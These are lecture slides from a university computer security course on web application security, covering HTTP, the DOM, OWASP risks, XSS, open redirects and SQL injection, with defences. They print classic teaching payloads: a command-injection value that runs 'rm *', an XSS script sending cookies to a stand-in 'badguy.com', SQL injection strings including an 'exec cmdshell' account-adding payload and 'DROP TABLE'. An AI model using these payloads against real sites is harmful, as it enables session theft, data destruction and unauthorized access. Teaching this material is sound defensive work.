

CIS551: Computer and Network Security

Jonathan M. Smith


jms@cis.upenn.edu

02/24/2014

CIS551 Topics


- Computer Security
 - Software/Languages, Computer Arch.
 - Access Control, Operating Systems
 - Threats: Vulnerabilities, Viruses
- Computer Networks
 - Physical layers, Internet, WWW, Applications
 - Cryptography in several forms
 - Threats: Confidentiality, Integrity, Availability
- Systems Viewpoint
 - Users, social engineering, insider threats

Sincoskie NIS model




W.D. Sincoskie, *et al.* "Layer Dissonance and Closure in Networked Information Security" (white paper)

7-layer OSI network model



Cyber-Ecosystem



HyperText Transfer Protocol

- Used to request and return data
 - Methods: GET, POST, PUT, HEAD, DELETE, ...
- Stateless request/response protocol
 - Each request is independent of previous requests
 - Statelessness has a significant impact on design and implementation of applications
- Evolution
 - HTTP 1.0: simple
 - HTTP 1.1: more complex, added persistent connections

HTTP Request

Method

File

HTTP version

Headers

GET /default.asp HTTP/1.0

Accept: image/gif, image/x-bitmap, image/jpeg, */*

Accept-Language: en

User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)

Connection: Keep-Alive

If-Modified-Since: Sunday, 20-Apr-08 04:32:58 GMT

Blank line

Data – none for GET

HTTP Response

HTTP version

Status code

Reason phrase

Headers

HTTP/1.0 200 OK

Date: Sun, 20 Apr 2008 2:20:42 GMT

Server: Microsoft-Internet-Information-Server/5.0

Connection: keep-alive

Content-Type: text/html

Last-Modified: Thu, 17 Apr 2008 17:39:05 GMT

Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>

Data

HTTP Server Status Codes

Code	Description
200	OK
201	Created
301	Moved Permanently
302	Moved Temporarily
400	Bad Request – not understood
401	Unauthorized
403	Forbidden – not authorized
404	Not Found
500	Internal Server Error

- Return code 401
 - Used to indicate HTTP authorization
 - HTTP authorization has serious problems!!!

HTML and Scripting

Browser receives content, displays
HTML and executes scripts

```
<html>
```

```
...
```

```
<P>
```

```
<script>
```

```
    var num1, num2, sum
```

```
    num1 = prompt("Enter first number")
```

```
    num2 = prompt("Enter second number")
```

```
    sum = parseInt(num1) + parseInt(num2)
```

```
    alert("Sum = " + sum)
```

```
</script>
```

```
...
```

```
</html>
```

Events

Mouse event causes
page-defined function
to be called

```
<script type="text/javascript">
  function whichButton(event) {
    if (event.button==1) {
      alert("You clicked the left mouse button!") }
    else {
      alert("You clicked the right mouse button!")
    }
  }
</script>
...
<body onmousedown="whichButton(event)">
...
</body>
```

Other events: onLoad, onMouseMove, onKeyPress, onUnload

Document object model (DOM)

- Object-oriented interface used to read and write documents
 - web page in HTML is structured data
 - DOM provides representation of this hierarchy
- Examples
 - **Properties:** document.alinkColor, document.URL, document.forms[], document.links[], document.anchors[]
 - **Methods:** document.write(document.referrer)
- Also Browser Object Model (BOM)
 - Window, Document, Frames[], History, Location, Navigator (type and version of browser)

Browser security risks

- Compromise host
 - Write to file system
 - Interfere with other processes in browser environment
- Steal information
 - Read file system
 - Read information associated with other browser processes (e.g., other windows)
 - Fool the user
 - Reveal information through traffic analysis


OWASP.org Top 10 (2010)

- Open Web Application Security Project
 1. Injection flaws
 2. Cross-site Scripting (XSS)
 3. Broken authentication and session management
 4. Insecure direct object reference
 5. Cross-site request forgery (CSRF)
 6. Security misconfiguration
 7. Insecure cryptographic storage
 8. Failure to restrict URL access
 9. Insufficient Transport Layer Protection
 10. Unvalidated redirects and forwards

Browser sandboxing

- **Idea**
 - Code executed in browser has only restricted access to OS, network, and browser data structures
- **Isolation**
 - Similar to OS process isolation, conceptually
 - Browser is a “weak” OS
- **Same Origin Principle**
 - Only the site that stores some information in the browser may later read or modify that information (or depend on it in any way).
- **Details?**
 - What is a “site”?
 - URL, domain, pages from same site ... ?
 - What is “information”?
 - cookies, document object, cache, ... ?
 - Default only: users can set other policies
 - No way to keep sites from sharing information

Schematic web site architecture



Web app code

- Runs on web server or app server.
 - Takes input from web users (via web server)
 - Interacts with the database and 3rd parties.
 - Prepares results for users (via web server)
- Examples:
 - Shopping carts, home banking, bill pay, tax prep, ...
 - New code written for every web site.
- Written in:
 - C, PHP, Perl, Python, JSP, ASP, ...
 - Often written with little consideration for security.

Common vulnerabilities (OWASP)

- Inadequate validation of user input
 - Cross site scripting (XSS)
 - SQL Injection
 - HTTP Splitting
- Broken session management
 - Can lead to session hijacking and data theft
- Insecure storage
 - Sensitive data stored in the clear.
 - Prime target for theft – e.g., egghead, Verizon.
 - Note: PCI Data Security Standard
 - (Payment Card Industry - Visa, Mastercard, American Express, etc.)

Warm up: a simple example

- Direct use of user input:
 - <http://victim.com/copy.php> ? [name=username](#)
 - script name
 - script input
 - copy.php:

```
system("cp temp.dat $name.dat")
```
 - Problem:
 - <http://victim.com/copy.php> ? [name="a ; rm *](#)"
(should be: `name=a%20;%20rm%20*`)

Redirects

- EZShopper.com shopping cart:

<http://.../cgi-bin/loadpage.cgi?page=url>

- Redirects browser to url

- Redirects are common on many sites

- Used to track when user clicks on external link

- Some sites use redirects to add HTTP headers

- Problem: phishing

<http://victim.com/cgi-bin/loadpage?page=phisher.com>

- Link to victim.com puts user at phisher.com⇒ Local redirects should ensure target URL is local

Cross-Site Scripting: The setup

- User input is echoed into HTML response.
- Example: search field
 - **`http://victim.com/search.php ? term = apple`**
 - search.php responds with:

```
<HTML>      <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY>    </HTML>
```
- Is this exploitable?

Bad input

- Problem: no validation of input term
- Consider link: (properly URL encoded)

```
http://victim.com/search.php ? term =  
<script> window.open(  
    "http://badguy.com?cookie = " +  
    document.cookie ) </script>
```

- What if user clicks on this link?
 1. Browser goes to victim.com/search.php
 2. Victim.com returns
<HTML> Results for <script> ... </script>
 3. Browser executes script:
 - Sends badguy.com cookie for victim.com

So what?

- Why would user click on such a link?
 - Phishing email in webmail client (e.g. gmail).
 - Link in doubleclick banner ad
 - ... many many ways to fool user into clicking
 - What if badguy.com gets cookie for victim.com ?
 - Cookie can include session auth for victim.com
 - Or other data intended only for victim.com
- ⇒ Violates same origin policy

URIs are complicated

- Uniform Resource Identifier (URI)
a.k.a. URL
- URI is an extensible format:
URI ::= scheme ":" hier-part ["?" query] ["#" fragment]

Examples:

- <ftp://ftp.foo.com/dir/file.txt>
- <http://www.cis.upenn.edu/>
- ldap://[2001:db8::7]/c=GB?objectClass?one
- tel:+1-215-898-9509
- http://www.google.com/search?
client=safari&rls=en&q=foo&ie=UTF-8&oe=UTF-8

URI's continued

- Confusion:
 - Try going to www.whitehouse.org or www.whitehouse.com (instead of www.whitehouse.gov)
 - www.foo.com
 - wvww.foo.com
- Obfuscation:
 - Use IP addresses rather than host names:
<http://192.34.56.78>
 - Use Unicode escaped characters rather than readable text
<http://susie.%69%532%68%4f%54.net>

Even worse

- Attacker can execute arbitrary scripts in browser
- Can manipulate any DOM component on victim.com
 - Control links on page
 - Control form fields (e.g., password field) on this page and linked pages.
- Can infect other users: MySpace.com worm.

MySpace.com (Samy worm)

- Users can post HTML on their pages
 - MySpace.com ensures HTML contains no
`<script>, <body>, onclick, `
 - ... but can do Javascript within CSS tags:
`<div style="background:url('javascript:alert(1)')">`
- And can hide `"javascript"` as `"java\nscript"`
- With careful javascript hacking:
 - Samy's worm: infects anyone who visits an infected MySpace page ... and adds Samy as a friend.
 - Samy had millions of friends within 24 hours.
- More info: <http://namb.la/popular/tech.html>

Avoiding XSS bugs (PHP)

- Main problem:
 - Input checking is difficult --- many ways to inject scripts into HTML.
- Preprocess input from user before echoing it
- PHP: **htmlspecialchars(string)**

& → & " → " ' → '
< → < > → >

- **htmlspecialchars(**
 "

Outputs:

Test

Avoiding XSS bugs (ASP.NET)

- Active Server Pages (ASP)
 - Microsoft's server-side script engine
- ASP.NET:
 - **Server.HtmlEncode(string)**
 - Similar to PHP htmlspecialchars
 - validateRequest: (on by default)
 - Crashes page if finds <script> in POST data.
 - Looks for hardcoded list of patterns.
 - Can be disabled:
<%@ Page validateRequest="false" %>

SQL Injection: The setup


- User input is used in SQL query
- Example: login page (ASP)

```
set ok = execute("SELECT * FROM UserTable  
WHERE username=' ' & form("user") &  
" ' AND password=' ' & form("pwd") & " ' " );
```

```
If not ok.EOF  
    login success  
else fail;
```

- Is this exploitable?

Of course: xkcd.com



Bad input

- Suppose user = “ ' or 1 = 1 -- ” (URL encoded)
- Then scripts does:

```
ok = execute( SELECT ...  
              WHERE username= ' ' or 1=1 -- ... )
```

 - The ‘- -’ causes rest of line to be ignored.
 - Now ok.EOF is always false.
- The bad news: easy login to many sites this way.

Even worse

- Suppose user =

```
'exec cmdshell
```

```
'net user badguy badpwd' / ADD --
```

- Then script does:

```
ok = execute( SELECT ...
```

```
WHERE username= ' ' exec ... )
```

If SQL server context runs as “sa” (system administrator), attacker gets account on DB server.

- Or, as in the XKCD comic: user =

```
Robert'); DROP TABLE Students; --
```

Avoiding SQL injection

- Build SQL queries by properly escaping args:
→ `'`
- Example: Parameterized SQL: (ASP.NET)
 - Ensures SQL arguments are properly escaped.

```
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE
    username = @User AND
    password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request["user"] );
cmd.Parameters.Add("@Pwd", Request["pwd"] );

cmd.ExecuteReader();
```